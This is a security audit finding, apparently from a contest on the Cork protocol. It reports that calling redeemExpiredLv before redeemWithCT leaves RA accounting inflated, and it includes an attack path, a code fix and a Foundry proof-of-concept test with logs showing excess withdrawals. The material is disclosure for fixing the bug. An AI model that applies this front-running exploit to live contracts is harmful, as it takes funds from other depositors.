Colossal Magenta Elk

High

# Malicious user can break the internal accounting of the protocol and steal funds from other users.

### Summary

As per the README: *The contracts will be primarily deployed on Ethereum.* Frontrunning is possible on Ethereum. After the CT and DS tokens have expired, users can redeem the RA and PA tokens in the system, by calling the [Psm::redeemWithCT()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Psm.sol#L198-L210) and [Vault::redeemExpiredLv()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Vault.sol#L128-L138) functions. However if the [Vault::redeemExpiredLv()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Vault.sol#L128-L138) function is called first the internal RA accounting will be broken, and the system will think it has more RA tokens than it actually has. The  [Vault::redeemExpiredLv()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Vault.sol#L128-L138) function in a series of internal calls, calls the [VaultLib::_liquidatedLp()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/libraries/VaultLib.sol#L349-L393) function which liquidates the LP tokens the protocol owns, but doesn't decrease the RA accounting of the protocol. 
```solidity
    function _liquidatedLp(
        State storage self,
        uint256 dsId,
        IUniswapV2Router02 ammRouter,
        IDsFlashSwapCore flashSwapRouter
    ) internal {
        DepegSwap storage ds = self.ds[dsId];

        // if there's no LP, then there's nothing to liquidate
        if (self.vault.config.lpBalance == 0) {
            return;
        }

        self.vault.lpLiquidated.set(dsId);

        (uint256 raAmm, uint256 ctAmm) = __liquidateUnchecked(
            self, self.info.pair1, self.ds[dsId].ct, ammRouter, IUniswapV2Pair(ds.ammPair), self.vault.config.lpBalance
        );

        uint256 reservedDs = flashSwapRouter.emptyReserve(self.info.toId(), dsId);

        uint256 redeemAmount = reservedDs >= ctAmm ? ctAmm : reservedDs;
        PsmLibrary.lvRedeemRaWithCtDs(self, redeemAmount, dsId);
        uint256 ctAttributedToPa = reservedDs >= ctAmm ? 0 : ctAmm - reservedDs;

        uint256 psmPa;
        uint256 psmRa;

        if (ctAttributedToPa != 0) {
            (psmPa, psmRa) = PsmLibrary.lvRedeemRaPaWithCt(self, ctAttributedToPa, dsId);
        }

        psmRa += redeemAmount;

        self.vault.pool.reserve(self.vault.lv.totalIssued(), raAmm + psmRa, psmPa);
    }
```
A malicious user can call the [Vault::redeemExpiredLv()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Vault.sol#L128-L138) function, and for example liquidate 1 WEI of LV tokens, he can front run the function if necessary. The he  can call the [Psm::redeemWithCT()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Psm.sol#L198-L210) function and redeem more RA tokens than he is supposed to, stealing fund from other users who still haven't redeemed their expired CT tokens. 

### Root Cause

The [Vault::redeemExpiredLv()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Vault.sol#L128-L138)  function can be called before the  [Psm::redeemWithCT()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Psm.sol#L198-L210) function, and mess up the internal accounting of the protocol for the RA token.

### Internal pre-conditions

1. Users mint LV tokens via the [Vault::depositLv()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Vault.sol#L33-L37) function.
2. Users request to redeem their LV tokens via the [Vault::requestRedemption()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Vault.sol#L83-L87) function.
3. Users deposit RA tokens via the [Psm::depositPsm()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Psm.sol#L90-L101) function.
4. The CT and DS tokens expire.

### External pre-conditions

_No response_

### Attack Path

1. The malicious actor mints CT and DS tokens via the [Psm::depositPsm()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Psm.sol#L90-L101) function, before the tokens have expired. Note that the DS tokens are not important for this issue.
2. After the CT and DS tokens have expired, either a normal user first calls the [Vault::redeemExpiredLv()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Vault.sol#L128-L138) function to redeem his LV tokens, or a malicious actor can front run the call to [Psm::redeemWithCT()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Psm.sol#L198-L210) function if there is such.
3. The malicious actor can immediately after call the [Psm::redeemWithCT()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Psm.sol#L198-L210) function and receive more RA tokens than he is supposed to

### Impact

If the [Vault::redeemExpiredLv()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Vault.sol#L128-L138)  function is called before the  [Psm::redeemWithCT()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/core/Psm.sol#L198-L210) function, either by chance or by a malicious actor, the RA internal accounting will be messed up. This will allow users to withdraw more RA assets with their CT tokens than they are supposed to, and the last users to withdraw won't be able to so. The results in either malicious user intentionally stealing rewards from other users, or just normal users withdrawing first receiving more RA rewards than they should, and the users that withdraw last will receive way less RA tokens than they are supposed to, or none at all.

### PoC


There is a separate issue with one of the functions that have to be fixed first, since I am no sure what the correct fix is that covers all cases. The probelm is in the [VaultLib::_liquidatedLp()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/libraries/VaultLib.sol#L349-L393) function. The following line will always return 0:
```solidity
uint256 reservedDs = flashSwapRouter.emptyReserve(self.info.toId(), dsId);
```
However according to the docs, and the comments, this is not the expected behavior. 
```solidity
        // 1. The AMM LP is redeemed to receive CT + RA
        // 2. Any excess DS in the LV is paired with CT to redeem RA
        // 3. The excess CT is used to claim RA + PA in the PSM
        // 4. End state: Only RA + redeemed PA remains
```
So in all the cases where the DS token reserve is bigger than the amount of CT tokens returned from liquidating the LP, this is valid attack path. The likelihood of the CT tokens that are returned from liquidating the LP tokens owned by the protocol, being less or equal to the DS token reserves of the protocol is pretty high. The fix I have implemented is the following(add it in order to run the test):
Change the [DsFlashSwap::emptyReservePartial()](https://github.com/sherlock-audit/2024-08-cork-protocol/blob/main/Depeg-swap/contracts/libraries/DsFlashSwap.sol#L70-L78) function to:

```solidity
     function emptyReservePartial(ReserveState storage self, uint256 dsId, uint256 amount, address to)
        internal
        returns (uint256 reserve)
    {
        self.ds[dsId].ds.transfer(to, amount);

        self.ds[dsId].reserve -= amount;

        /// INFO: fix for reserve returning 0 when it is depleted
        reserve = amount;

        // reserve = self.ds[dsId].reserve;
    }
``` 

[Gist](https://gist.github.com/AtanasDimulski/3f9bfc84c63e1c977b877613b644c0e2)
After following the steps in the above mentioned [gist](https://gist.github.com/AtanasDimulski/3f9bfc84c63e1c977b877613b644c0e2) add the following test to the ``AuditorTests.t.sol`` file: 

```solidity
    function test_WrongAccountingIfRedeemExpiredLvIsCalledBeforeRedeemWithCt() public {
        vm.startPrank(bob);
        WETH.mint(bob, 1e18);
        WETH.approve(address(moduleCore), type(uint256).max);
        moduleCore.depositLv(id, 1e18);
        Asset(lvAddress).approve(address(moduleCore), type(uint256).max);
        moduleCore.requestRedemption(id, 1e18);
        vm.stopPrank();

        vm.startPrank(tom);
        WETH.mint(tom, 1e18);
        WETH.approve(address(moduleCore), type(uint256).max);
        moduleCore.depositPsm(id, 1e18);
        vm.stopPrank();

        vm.startPrank(alice);
        WETH.mint(alice, 1e18);
        WETH.approve(address(moduleCore), type(uint256).max);
        moduleCore.depositPsm(id, 1e18);
        console2.log("Accounting RA balance: ", moduleCore.valueLocked(id));
        (uint112 raReserve, uint112 ctReserve) = flashSwapRouter.getAmmReserve(id, 1);
        console2.log("RA reserve in the amm pair contract: ", raReserve);
        vm.stopPrank();

        vm.startPrank(bob);
        /// @notice fix in DSFlashSwap should be on
        /// @notice skip 1100 seconds so that ct and ds tokens expire
        skip(1100);
        moduleCore.redeemExpiredLv(id, bob, 1e18);
        console2.log("Bob WETH's balance: ", WETH.balanceOf(bob));
        console2.log("Accounting RA balance: ", moduleCore.valueLocked(id));
        vm.stopPrank();

        vm.startPrank(tom);     
        (address ct, address ds) = moduleCore.swapAsset(id, 1);
        Asset(ct).approve(address(moduleCore), type(uint256).max);
        console2.log("The total supply of ct: ", Asset(ct).totalSupply());
        moduleCore.redeemWithCT(id, 1, 1e18);
        console2.log("WETH balance of tom: ", WETH.balanceOf(tom));
        vm.stopPrank();

        vm.startPrank(alice);
        console2.log("Actual WETH balance in the system: ", WETH.balanceOf(address(moduleCore))); 
        (uint112 raReserve1, ) = flashSwapRouter.getAmmReserve(id, 1);
        console2.log("RA reserve in the amm pair contract: ", raReserve1);      
        Asset(ct).approve(address(moduleCore), type(uint256).max);
        vm.expectRevert();
        moduleCore.redeemWithCT(id, 1, 1e18);
        vm.stopPrank();
    }
```

```solidity
Logs:
  Accounting RA balance:  2526315789473684210
  RA reserve in the amm pair contract:  473684210526315790
  Bob WETH's balance:  999999999999997996
  Accounting RA balance:  2526315789473684210
  The total supply of ct:  2000000000000001055
  The total supply of ct:  2000000000000001055
  WETH balance of tom:  1263157894736841438
  Actual WETH balance in the system:  736842105263159617
  RA reserve in the amm pair contract:  949
```

To run the test use: ``forge test -vvv --mt test_WrongAccountingIfRedeemExpiredLvIsCalledBeforeRedeemWithCt``

### Mitigation

_No response_